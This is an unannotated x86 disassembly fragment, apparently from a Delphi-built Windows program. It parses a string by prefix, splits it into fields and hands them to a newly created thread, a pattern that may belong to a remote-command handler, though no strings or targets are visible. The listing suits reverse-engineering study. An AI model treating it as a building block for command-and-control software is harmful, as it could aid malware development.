push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0x5fc]
call fcn.004303ac
mov eax, dword [ebp - 0x5fc]
lea edx, [ebp - 0x5f8]
call fcn.00409a78
cmp dword [ebp - 0x5f8], 0
je 0x498e10
lea eax, [ebp - 0x604]
call fcn.004303ac
mov ecx, dword [ebp - 0x604]
lea eax, [ebp - 0x600]
mov edx, 0x49c680
call fcn.00405784
mov eax, dword [ebp - 0x600]
call fcn.004938a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498e36
lea eax, [ebp - 0x608]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x608]
mov edx, 0x49c694
call fcn.00405894
jne 0x498fb7
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4de8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
mov dl, 1
mov eax, dword [0x430204]
call fcn.0043025c
mov edx, dword [0x4a5004]
mov dword [edx], eax
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
mov eax, esi
call fcn.0040546c
lea eax, [esi + 4]
mov edx, dword [ebp - 0xc]
call fcn.004054c0
lea eax, [esi + 8]
mov edx, dword [ebp - 0x10]
call fcn.004054c0
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x14]
call fcn.004054c0
lea eax, [esi + 0x10]
mov edx, 0x49c264
call fcn.004054c0
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x491a88
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x4a5110]
mov dword [eax], 1
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x60c]
mov edx, 0x49c6a8
call fcn.00405894
jne 0x49909b
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea eax, [ebp - 0x610]
call fcn.0048e214
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x49c6c0
call fcn.00405894
jne 0x4990af
call fcn.0048b9ac
mov eax, dword [ebp - 8]
mov edx, 0x49c6d4
call fcn.00405894
jne 0x4990c3
call fcn.0048b9d0
mov eax, dword [ebp - 8]
mov edx, 0x49c6e8
call fcn.00405894
jne 0x4990d7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b879
lea eax, [ebp - 0x7cc]
mov edx, 0x14
call fcn.00405490
lea eax, [ebp - 0x77c]
call fcn.00406f3c
lea eax, [ebp - 0x778]
mov edx, 0x46
call fcn.00405490
lea eax, [ebp - 0x660]
mov edx, dword [0x430740]
call fcn.00406864
lea eax, [ebp - 0x65c]
mov edx, 8
call fcn.00405490
lea eax, [ebp - 0x63c]
mov edx, 0x4d
call fcn.00405490
lea eax, [ebp - 0x508]
call fcn.00406f3c
lea eax, [ebp - 0x504]
call fcn.00405c48
lea eax, [ebp - 0x500]
call fcn.00406f3c
lea eax, [ebp - 0x4fc]
call fcn.00405c48
lea eax, [ebp - 0x4f8]
call fcn.00406f3c
lea eax, [ebp - 0x4f4]
call fcn.00405c48
lea eax, [ebp - 0x4f0]
call fcn.00406f3c
lea eax, [ebp - 0x4ec]
call fcn.00405c48
lea eax, [ebp - 0x4e8]
call fcn.00406f3c
lea eax, [ebp - 0x4e4]
call fcn.00405c48
lea eax, [ebp - 0x4e0]
mov edx, dword [0x4825e0]
mov ecx, 5
call fcn.00406024
lea eax, [ebp - 0x4cc]
mov edx, 8
call fcn.00405490
lea eax, [ebp - 0x4ac]
mov edx, 0x32
call fcn.00405490
lea eax, [ebp - 0x3dc]
mov edx, 0x32
call fcn.00405490
lea eax, [ebp - 0x314]
mov edx, 0x37
call fcn.00405490
lea eax, [ebp - 0x198]
mov edx, dword [0x408a70]
call fcn.00405fd8
lea eax, [ebp - 0x38]
call fcn.00411434
lea eax, [ebp - 0x28]
mov edx, 9
call fcn.00405490
ret